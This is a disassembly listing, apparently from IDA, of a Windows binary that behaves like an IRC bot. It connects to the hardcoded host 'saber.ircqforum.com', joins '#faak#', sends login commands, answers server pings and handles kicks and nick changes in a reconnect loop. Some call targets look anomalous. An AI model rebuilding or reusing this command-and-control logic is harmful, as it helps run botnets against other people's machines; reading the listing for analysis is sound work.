		call	sub_41781F
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		nop
		call	near ptr 2630272h
		push	esi
		call	near ptr 2611A31h
		nop
		mov	eax, dword_48A034
		cmp	[eax+8], ebx
		jz	short loc_40E9D8
		push	7D0h
		nop
		call	near ptr 25F0439h
		mov	eax, dword_48A034
		push	dword ptr [eax+8]
		call	near ptr 27A0C9Ch
		nop


loc_40E9D8:				; CODE XREF: ___:0040E993j
					; ___:0040E9BDj
		cmp	dword_42F5C0, ebx
		jz	short loc_40E9F5
		cmp	dword_43F738, ebx
		jnz	short loc_40E9F5
		lea	eax, [ebp-5F4h]
		push	eax
		call	sub_40C1AE
		pop	ecx


loc_40E9F5:				; CODE XREF: ___:0040E9DEj
					; ___:0040E9E6j
		lea	eax, [ebp-0E4h]
		push	offset dword_435118
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp-0E4h]
		push	ebx
		push	eax
		call	sub_416D5C
		lea	eax, [ebp-0E4h]
		push	eax
		call	sub_40BF6D
		push	0B80h
		push	ebx
		push	offset dword_444340
		call	sub_417330
		call	sub_41730C
		push	7Fh
		push	offset aSaber_ircqforu ; "saber.ircqforum.com"
		push	offset dword_489C5C
		mov	dword_489DD0, ebx
		call	sub_418C10
		mov	eax, dword_42F5A0
		push	3Fh
		mov	edi, offset dword_489CDC
		push	offset aFaak	; "#faak#"
		push	edi
		mov	dword_489DAC, eax
		call	sub_418C10
		push	3Fh
		mov	esi, offset dword_489D1C
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_418C10
		add	esp, 48h
		mov	dword_489DB0, ebx


loc_40EA83:				; CODE XREF: ___:0040EB29j
					; ___:0040EB34j ...
		mov	[ebp-4], ebx


loc_40EA86:				; CODE XREF: ___:0040EADDj
		cmp	dword_43F750, ebx
		jnz	short loc_40EAA4
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	dword_43F5AC
		test	eax, eax
		jnz	short loc_40EAA4
		push	7530h
		jmp	short loc_40EAD0
; ---------------------------------------------------------------------------


loc_40EAA4:				; CODE XREF: ___:0040EA8Cj
					; ___:0040EA9Bj
		push	offset dword_489C58
		mov	dword_489DCC, ebx
		call	sub_40EB92
		cmp	eax, 2
		mov	[ebp-8], eax
		jz	loc_40EB7E
		cmp	dword_489DCC, ebx
		jz	short loc_40EACB
		dec	dword ptr [ebp-4]


loc_40EACB:				; CODE XREF: ___:0040EAC6j
		push	0BB8h


loc_40EAD0:				; CODE XREF: ___:0040EAA2j
		call	near ptr 25F0439h
		nop
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 6
		jl	short loc_40EA86
		cmp	dword ptr [ebp-8], 2
		jz	loc_40EB7E
		cmp	[ebp-0Ch], ebx
		jz	short loc_40EB2E
		push	7Fh
		push	offset aSaber_ircqforu ; "saber.ircqforum.com"
		push	offset dword_489C5C
		call	sub_418C10
		mov	eax, dword_42F5A0
		push	3Fh
		push	offset aFaak	; "#faak#"
		push	edi
		mov	dword_489DAC, eax
		call	sub_418C10
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_418C10
		add	esp, 24h
		mov	[ebp-0Ch], ebx
		jmp	loc_40EA83
; ---------------------------------------------------------------------------


loc_40EB2E:				; CODE XREF: ___:0040EAECj
		cmp	byte_42F650, bl
		jz	loc_40EA83
		push	7Fh
		push	offset byte_42F650
		push	offset dword_489C5C
		call	sub_418C10
		mov	eax, dword_42F5A4
		push	3Fh
		push	offset aFaak_0	; "#faak#"
		push	edi
		mov	dword_489DAC, eax
		call	sub_418C10
		push	3Fh
		push	offset aSaad__0	; "saad."
		push	esi
		call	sub_418C10
		add	esp, 24h
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_40EA83
; ---------------------------------------------------------------------------


loc_40EB7E:				; CODE XREF: ___:0040EABAj
					; ___:0040EAE3j
		call	sub_416F25


loc_40EB83:				; CODE XREF: ___:0040E74Aj
					; ___:0040E75Aj
		call	dword_43F5C8


loc_40EB89:				; CODE XREF: ___:0040E73Dj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EB92	proc near		; CODE XREF: ___:0040EAAFp
					; DATA XREF: sub_40EE72+3B0Eo

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_40EBB7:				; CODE XREF: sub_40EB92+E6j
					; sub_40EB92+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_43F668
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40ADCA
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40ECE4
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_417330
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_489DC0
		push	dword_42F5CC
		push	eax
		call	sub_415D01
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_4450D8
		push	edi
		push	eax
		call	sub_418C10
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_43F6E8
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_4450CC[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_43F610
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EC7D
		push	esi
		call	dword_43F700
		call	sub_40ADF3
		push	7D0h


loc_40EC72:				; CODE XREF: sub_40EB92+146j
		call	near ptr 25F0439h
		nop
		jmp	loc_40EBB7
; ---------------------------------------------------------------------------


loc_40EC7D:				; CODE XREF: sub_40EB92+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset dword_43514C
		call	sub_40BFE1
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_40ECFA
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_43F700
		test	edi, edi
		jz	loc_40EBB7
		cmp	edi, 1
		jnz	short loc_40ECDA
		push	0DBBA0h
		jmp	short loc_40EC72
; ---------------------------------------------------------------------------


loc_40ECDA:				; CODE XREF: sub_40EB92+13Fj
		cmp	edi, 2
		jz	short loc_40ECE8
		jmp	loc_40EBB7
; ---------------------------------------------------------------------------


loc_40ECE4:				; CODE XREF: sub_40EB92+5Aj
		xor	eax, eax
		jmp	short loc_40ECF4
; ---------------------------------------------------------------------------


loc_40ECE8:				; CODE XREF: sub_40EB92+14Bj
		push	[ebp+var_34]
		call	sub_417078
		pop	ecx
		push	2
		pop	eax


loc_40ECF4:				; CODE XREF: sub_40EB92+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_40EB92	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ECFA	proc near		; CODE XREF: sub_40EB92+123p

var_1A10	= byte ptr -1A10h
var_A10		= byte ptr -0A10h
var_240		= byte ptr -240h
var_1A0		= byte ptr -1A0h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A10h
		call	sub_417B30
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	2
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_1A0]
		pop	ecx


loc_40ED18:				; CODE XREF: sub_40ECFA+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_40ED18
		cmp	byte_489DC8, bl
		jz	short loc_40ED3F
		push	offset byte_489DC8
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_40D633
		add	esp, 0Ch


loc_40ED3F:				; CODE XREF: sub_40ECFA+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_415D01
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_4172B0
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EDA9
		push	[ebp+arg_0]
		call	dword_43F700
		push	1388h
		nop
		call	near ptr 25F0439h


loc_40EDA2:				; CODE XREF: sub_40ECFA+D9j
					; sub_40ECFA+153j
		xor	eax, eax


loc_40EDA4:				; CODE XREF: sub_40ECFA+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40EDA9:				; CODE XREF: sub_40ECFA+92j
					; sub_40ECFA+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A10]
		push	esi
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_1A10]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_43F680
		test	eax, eax
		jle	short loc_40EDA2
		lea	eax, [ebp+var_A10]
		push	eax
		lea	eax, [ebp+var_1A10]
		push	eax
		call	sub_40A868
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_40EDA9
		lea	edi, [ebp+var_A10]


loc_40EDFA:				; CODE XREF: sub_40ECFA+165j
		push	1
		pop	esi


loc_40EDFD:				; CODE XREF: sub_40ECFA+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_240]
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_40EE72
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_40EE40
		push	7D0h
		nop
		call	near ptr 25F0439h
		jmp	short loc_40EDFD
; ---------------------------------------------------------------------------


loc_40EE40:				; CODE XREF: sub_40ECFA+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_40EE6A
		cmp	esi, 0FFFFFFFEh
		jz	short loc_40EE66
		cmp	esi, 0FFFFFFFFh
		jz	loc_40EDA2
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_40EDFA
		jmp	loc_40EDA9
; ---------------------------------------------------------------------------


loc_40EE66:				; CODE XREF: sub_40ECFA+14Ej
		push	1
		jmp	short loc_40EE6C
; ---------------------------------------------------------------------------


loc_40EE6A:				; CODE XREF: sub_40ECFA+149j
		push	2


loc_40EE6C:				; CODE XREF: sub_40ECFA+16Ej
		pop	eax
		jmp	loc_40EDA4
sub_40ECFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EE72	proc near		; CODE XREF: sub_40ECFA+12Ap

var_15B0	= byte ptr -15B0h
var_11B0	= byte ptr -11B0h
var_FB0		= byte ptr -0FB0h
var_DB0		= byte ptr -0DB0h
var_CB0		= byte ptr -0CB0h
var_CAC		= byte ptr -0CACh
var_BAC		= byte ptr -0BACh
var_BA8		= byte ptr -0BA8h
var_AA8		= byte ptr -0AA8h
var_A28		= byte ptr -0A28h
var_9C7		= byte ptr -9C7h
var_9C6		= byte ptr -9C6h
var_9C4		= byte ptr -9C4h
var_9C3		= byte ptr -9C3h
var_9BA		= byte ptr -9BAh
var_9B8		= byte ptr -9B8h
var_9B6		= byte ptr -9B6h
var_9B5		= byte ptr -9B5h
var_928		= byte ptr -928h
var_90C		= dword	ptr -90Ch
var_908		= byte ptr -908h
var_804		= dword	ptr -804h
var_800		= dword	ptr -800h
var_7FC		= byte ptr -7FCh
var_7F8		= dword	ptr -7F8h
var_7F4		= byte ptr -7F4h
var_7F0		= dword	ptr -7F0h
var_7EC		= dword	ptr -7ECh
var_7E8		= byte ptr -7E8h
var_780		= byte ptr -780h
var_774		= byte ptr -774h
var_770		= dword	ptr -770h
var_76C		= byte ptr -76Ch
var_768		= byte ptr -768h
var_75C		= byte ptr -75Ch
var_73C		= dword	ptr -73Ch
var_738		= byte ptr -738h
var_710		= dword	ptr -710h
var_708		= byte ptr -708h
var_6FC		= dword	ptr -6FCh
var_6F8		= byte ptr -6F8h
var_6F4		= byte ptr -6F4h
var_6F0		= dword	ptr -6F0h
var_6EC		= byte ptr -6ECh
var_6E8		= byte ptr -6E8h
var_6B8		= byte ptr -6B8h
var_681		= byte ptr -681h
var_680		= byte ptr -680h
var_678		= byte ptr -678h
var_670		= byte ptr -670h
var_66C		= byte ptr -66Ch
var_668		= byte ptr -668h
var_5F8		= byte ptr -5F8h
var_5F4		= dword	ptr -5F4h
var_5F0		= dword	ptr -5F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_578		= dword	ptr -578h
var_574		= dword	ptr -574h
var_570		= dword	ptr -570h
var_56C		= dword	ptr -56Ch
var_568		= dword	ptr -568h
var_564		= dword	ptr -564h
var_560		= dword	ptr -560h
var_55C		= byte ptr -55Ch
var_50C		= dword	ptr -50Ch
var_508		= byte ptr -508h
var_504		= dword	ptr -504h
var_500		= byte ptr -500h
var_4F4		= dword	ptr -4F4h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= byte ptr -4E8h
var_4C0		= byte ptr -4C0h
var_4A0		= dword	ptr -4A0h
var_488		= byte ptr -488h
var_480		= dword	ptr -480h
var_47C		= dword	ptr -47Ch
var_478		= dword	ptr -478h
var_474		= dword	ptr -474h
var_470		= dword	ptr -470h
var_46C		= dword	ptr -46Ch
var_468		= dword	ptr -468h
var_464		= dword	ptr -464h
var_460		= dword	ptr -460h
var_45C		= byte ptr -45Ch
var_458		= byte ptr -458h
var_444		= byte ptr -444h
var_434		= byte ptr -434h
var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= byte ptr -418h
var_40C		= dword	ptr -40Ch
var_408		= byte ptr -408h
var_3FC		= byte ptr -3FCh
var_3F8		= byte ptr -3F8h
var_3D8		= byte ptr -3D8h
var_3B4		= byte ptr -3B4h
var_398		= byte ptr -398h
var_388		= byte ptr -388h
var_334		= dword	ptr -334h
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_318		= dword	ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_30C		= dword	ptr -30Ch
var_308		= dword	ptr -308h
var_304		= dword	ptr -304h
var_300		= dword	ptr -300h
var_2FC		= dword	ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2EC		= word ptr -2ECh
var_2EA		= word ptr -2EAh
var_2E8		= dword	ptr -2E8h
var_2DC		= byte ptr -2DCh
var_DC		= dword	ptr -0DCh
var_D8		= byte ptr -0D8h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= byte ptr -0A4h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_54		= byte ptr -54h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 15B0h
		call	sub_417B30
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		mov	[ebp+var_C0], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_AC], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_DC], ebx
		call	sub_417330
		push	1Bh
		lea	eax, [ebp+var_928]
		push	[ebp+arg_10]
		push	eax
		call	sub_418C10
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_40F239
		push	esi
		lea	eax, [ebp+var_FB0]
		push	ebx
		push	eax
		call	sub_417330
		dec	esi
		lea	eax, [ebp+var_FB0]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_FB0]
		push	offset asc_4387B8 ; " :"
		push	eax
		call	sub_417880
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_FB0]
		push	esi
		push	eax
		lea	eax, [ebp+var_11B0]
		push	eax
		call	sub_418C10
		mov	esi, offset asc_42A3B4 ; " "
		lea	eax, [ebp+var_11B0]
		push	esi
		push	eax
		call	sub_418B6E
		add	esp, 34h
		mov	[ebp+var_94], eax
		lea	edi, [ebp+var_90]
		mov	[ebp+var_BC], 1Fh


loc_40EF45:				; CODE XREF: sub_40EE72+E7j
		push	esi
		push	ebx
		call	sub_418B6E
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_BC]
		pop	ecx
		jnz	short loc_40EF45
		mov	esi, [ebp+var_94]
		cmp	esi, ebx
		jz	loc_40F239
		cmp	[ebp+var_90], ebx
		jz	loc_40F239
		push	100h
		lea	eax, [ebp+var_A28]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	ecx, [ebp+var_18]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_40EF93:				; CODE XREF: sub_40EE72+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_40EFBF
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_40EFC7
		cmp	[eax+2], bl
		jnz	short loc_40EFC7
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_A28], 1
		mov	esi, [ebp+var_94]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_40EFBF:				; CODE XREF: sub_40EE72+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_40EF93


loc_40EFC7:				; CODE XREF: sub_40EE72+12Aj
					; sub_40EE72+12Fj
		cmp	[ebp+var_9B5], bl
		jz	short loc_40EFD2
		mov	[ebp+var_8], edi


loc_40EFD2:				; CODE XREF: sub_40EE72+15Bj
		cmp	[ebp+var_9BA], bl
		jz	short loc_40EFE0
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_40EFE0:				; CODE XREF: sub_40EE72+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_40F01A
		push	7Fh
		lea	eax, [ebp+var_AA8]
		push	esi
		push	eax
		call	sub_418C10
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_D8]
		push	offset asc_4387B4 ; "!"
		push	eax
		call	sub_418B6E
		add	esp, 20h


loc_40F01A:				; CODE XREF: sub_40EE72+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F06B
		push	[ebp+var_90]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_40F10F
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 10h
		jmp	loc_40F10F
; ---------------------------------------------------------------------------


loc_40F06B:				; CODE XREF: sub_40EE72+1B7j
		mov	esi, [ebp+var_90]
		push	esi
		push	offset a001	; "001"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4150D3
		push	esi
		push	offset a005	; "005"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4150D3
		push	esi
		push	offset a302	; "302"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F0D3
		push	offset a@	; "@"
		push	[ebp+var_88]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40F10F
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_418C10
		jmp	short loc_40F10C
; ---------------------------------------------------------------------------


loc_40F0D3:				; CODE XREF: sub_40EE72+238j
		push	esi
		push	offset a433	; "433"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F116
		push	ebx
		push	dword_489DC0
		push	dword_42F5CC
		push	[ebp+arg_10]
		call	sub_415D01
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633


loc_40F10C:				; CODE XREF: sub_40EE72+25Fj
		add	esp, 0Ch


loc_40F10F:				; CODE XREF: sub_40EE72+1D8j
					; sub_40EE72+1F4j ...
		mov	eax, edi
		jmp	loc_40F23C
; ---------------------------------------------------------------------------


loc_40F116:				; CODE XREF: sub_40EE72+270j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_BC], 2
		mov	edi, 80h


loc_40F128:				; CODE XREF: sub_40EE72+2DBj
		lea	eax, [ebp+var_AA8]
		push	eax
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F145
		mov	[ebp+var_AC], 1


loc_40F145:				; CODE XREF: sub_40EE72+2C7j
		add	esi, edi
		dec	[ebp+var_BC]
		jnz	short loc_40F128
		mov	esi, [ebp+var_90]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F241
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 2


loc_40F174:				; CODE XREF: sub_40EE72+392j
		cmp	[esi], bl
		jz	loc_40F1FF
		push	7Fh
		lea	eax, [ebp+var_AA8]
		push	esi
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_D8]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40F1FF
		cmp	[ebp+var_88], ebx
		jz	short loc_40F1FF
		push	[ebp+var_88]
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F1FF
		lea	eax, [ebp+var_D8]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_438738
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		lea	eax, [ebp+var_2DC]
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		add	esp, 14h


loc_40F1FF:				; CODE XREF: sub_40EE72+304j
					; sub_40EE72+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_40F174
		push	[ebp+var_88]
		push	[ebp+arg_10]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F239
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_40F22E:				; CODE XREF: sub_40EE72+618j
					; sub_40EE72+978j
		push	[ebp+arg_4]
		call	sub_40D633


loc_40F236:				; CODE XREF: sub_40EE72+57D8j
					; sub_40EE72+57F5j ...
		add	esp, 10h


loc_40F239:				; CODE XREF: sub_40EE72+5Bj
					; sub_40EE72+F1j ...
		push	1


loc_40F23B:				; CODE XREF: sub_40EE72+5CEBj
		pop	eax


loc_40F23C:				; CODE XREF: sub_40EE72+29Fj
					; sub_40EE72+229Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40F241:				; CODE XREF: sub_40EE72+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F397
		mov	eax, [ebp+var_8C]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 2
		mov	[ebp+arg_24], eax


loc_40F26A:				; CODE XREF: sub_40EE72+44Aj
		lea	eax, [ebp+var_AA8]
		push	eax
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F2B7
		lea	eax, [ebp+var_AA8]
		push	21h
		push	eax
		call	sub_418F50
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_40F2B7
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_4179C0
		push	[ebp+arg_1C]
		push	edi
		call	sub_4179D0
		add	esp, 10h
		mov	edi, 80h


loc_40F2B7:				; CODE XREF: sub_40EE72+409j
					; sub_40EE72+420j
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_40F26A
		lea	eax, [ebp+var_D8]
		test	eax, eax
		jz	loc_40F239
		cmp	[ebp+arg_24], ebx
		jz	loc_40F239
		push	[ebp+arg_10]
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F2FF
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_418C10
		add	esp, 0Ch
		jmp	loc_40F239
; ---------------------------------------------------------------------------


loc_40F2FF:				; CODE XREF: sub_40EE72+476j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_40F304:				; CODE XREF: sub_40EE72+4B3j
		cmp	[edi], bl
		jz	short loc_40F31B
		lea	eax, [ebp+var_AA8]
		push	eax
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F32C


loc_40F31B:				; CODE XREF: sub_40EE72+494j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40F304
		jmp	loc_40F239
; ---------------------------------------------------------------------------


loc_40F32C:				; CODE XREF: sub_40EE72+4A7j
		lea	eax, [ebp+var_AA8]
		push	21h
		push	eax
		call	sub_418F50
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	loc_40F239
		push	eax
		call	sub_417AB0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_417AB0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_40F239
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS_0	; ":%s%s"
		push	esi
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_4C0]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 24h
		jmp	loc_40F239
; ---------------------------------------------------------------------------


loc_40F397:				; CODE XREF: sub_40EE72+3DEj
		push	esi
		push	offset aPart	; "PART"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F3B9
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F3E0


loc_40F3B9:				; CODE XREF: sub_40EE72+534j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_40F3BE:				; CODE XREF: sub_40EE72+56Cj
		cmp	[edi], bl
		jz	short loc_40F3D4
		push	[ebp+var_94]
		push	edi
		call	sub_4176D0
		pop	ecx
